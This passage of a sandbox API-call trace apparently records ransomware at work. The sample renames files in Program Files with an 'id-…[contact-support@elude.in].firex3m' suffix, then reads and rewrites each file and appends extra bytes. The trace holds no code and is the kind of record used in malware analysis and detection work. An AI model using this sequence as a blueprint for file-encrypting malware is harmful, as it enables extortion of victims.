lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x6c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0219.927] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.927] WriteFile (in: hFile=0x620, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.928] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.928] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.928] CloseHandle (hObject=0x620) returned 1 [0219.928] GetProcessHeap () returned 0x630000 [0219.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0219.928] GetProcessHeap () returned 0x630000 [0219.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0219.928] GetProcessHeap () returned 0x630000 [0219.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0219.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49086d28, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x9ec7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0219.928] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0219.928] Sleep (dwMilliseconds=0x1) [0219.937] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html", len=0x6f | out: pbstr=0x6c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html") returned 1 [0219.937] GetProcessHeap () returned 0x630000 [0219.937] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5090) returned 0x6fe3bb0 [0219.937] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.938] CloseHandle (hObject=0x620) returned 1 [0219.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.938] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0219.939] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.939] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.939] GetProcessHeap () returned 0x630000 [0219.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7c1) returned 0x706cf78 [0219.939] GetProcessHeap () returned 0x630000 [0219.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7c1) returned 0x712f718 [0219.939] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.939] ReadFile (in: hFile=0x620, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xa7a0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x6c3ff0c*=0xa7a0, lpOverlapped=0x0) returned 1 [0224.702] GetProcessHeap () returned 0x630000 [0224.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0224.702] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.702] WriteFile (in: hFile=0x620, lpBuffer=0x712f718*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesWritten=0x6c3ff0c*=0xa7a0, lpOverlapped=0x0) returned 1 [0225.510] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.510] WriteFile (in: hFile=0x620, lpBuffer=0x7139eb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7139eb7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.742] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.742] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.742] CloseHandle (hObject=0x620) returned 1 [0225.742] GetProcessHeap () returned 0x630000 [0225.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0225.742] GetProcessHeap () returned 0x630000 [0225.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0225.743] GetProcessHeap () returned 0x630000 [0225.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0226.660] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa7cb, dwReserved0=0x9ec7496, dwReserved1=0x706cf70, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5440 [0226.661] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0226.661] Sleep (dwMilliseconds=0x1) [0226.667] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Windows Mail\\wabmig.exe", len=0x28 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Windows Mail\\wabmig.exe") returned 1 [0226.667] GetProcessHeap () returned 0x630000 [0226.667] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x521c) returned 0x6fe3bb0 [0226.667] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files\\windows mail\\wabmig.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.692] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl", len=0x3f | out: pbstr=0x6c3ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl") returned 1 [0226.692] GetProcessHeap () returned 0x630000 [0226.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a0) returned 0x6fe3bb0 [0226.692] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0226.698] CloseHandle (hObject=0x6a4) returned 1 [0226.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.698] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN9DA3~1.FIR")) returned 0x6d5040 [0226.730] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0226.730] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0226.730] GetProcessHeap () returned 0x630000 [0226.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0226.731] GetProcessHeap () returned 0x630000 [0226.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0226.731] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.731] ReadFile (in: hFile=0x6d4, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.059] GetProcessHeap () returned 0x630000 [0233.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0233.060] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.060] WriteFile (in: hFile=0x6d4, lpBuffer=0x739f200*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.666] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.666] WriteFile (in: hFile=0x6d4, lpBuffer=0x73aa5ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa5ff*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.974] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.974] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.974] CloseHandle (hObject=0x6d4) returned 1 [0234.811] GetProcessHeap () returned 0x630000 [0234.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0234.812] GetProcessHeap () returned 0x630000 [0234.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0234.812] GetProcessHeap () returned 0x630000 [0234.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0235.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0x9ec7496, dwReserved1=0x7393dc8, cFileName="UniversalNotificationPlatform.006.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN9DA3~1.FIR")) returned 0x6d5480 [0235.740] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.740] Sleep (dwMilliseconds=0x1) [0235.857] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x6c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml") returned 1 [0235.857] GetProcessHeap () returned 0x630000 [0235.857] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb4) returned 0x6fe3bb0 [0235.857] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.858] CloseHandle (hObject=0x4c0) returned 1 [0235.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.859] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0235.986] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.986] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.986] GetProcessHeap () returned 0x630000 [0235.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665cb8 [0235.986] GetProcessHeap () returned 0x630000 [0235.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665f20 [0235.986] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.987] ReadFile (in: hFile=0x4c0, lpBuffer=0x665cb8, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665cb8*, lpNumberOfBytesRead=0x6c3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.083] GetProcessHeap () returned 0x630000 [0236.083] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0236.083] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.083] WriteFile (in: hFile=0x4c0, lpBuffer=0x665f20*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665f20*, lpNumberOfBytesWritten=0x6c3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.083] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.084] WriteFile (in: hFile=0x4c0, lpBuffer=0x66613f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66613f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.084] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.084] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.084] CloseHandle (hObject=0x4c0) returned 1 [0236.084] GetProcessHeap () returned 0x630000 [0236.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665f20 | out: hHeap=0x630000) returned 1 [0236.084] GetProcessHeap () returned 0x630000 [0236.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665cb8 | out: hHeap=0x630000) returned 1 [0236.084] GetProcessHeap () returned 0x630000 [0236.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0236.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52aa3454, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x6c3fd20, dwReserved1=0x778915ca, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0236.084] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.084] Sleep (dwMilliseconds=0x1) [0236.154] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\rempl\\Unlock.xml", len=0x21 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\rempl\\Unlock.xml") returned 1 [0236.155] GetProcessHeap () returned 0x630000 [0236.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f4c) returned 0x6fe3bb0 [0236.155] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml" (normalized: "c:\\program files\\rempl\\unlock.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.208] CloseHandle (hObject=0x430) returned 1 [0236.208] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.208] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\Unlock.xml" (normalized: "c:\\program files\\rempl\\unlock.xml"), lpNewFileName="C:\\Program 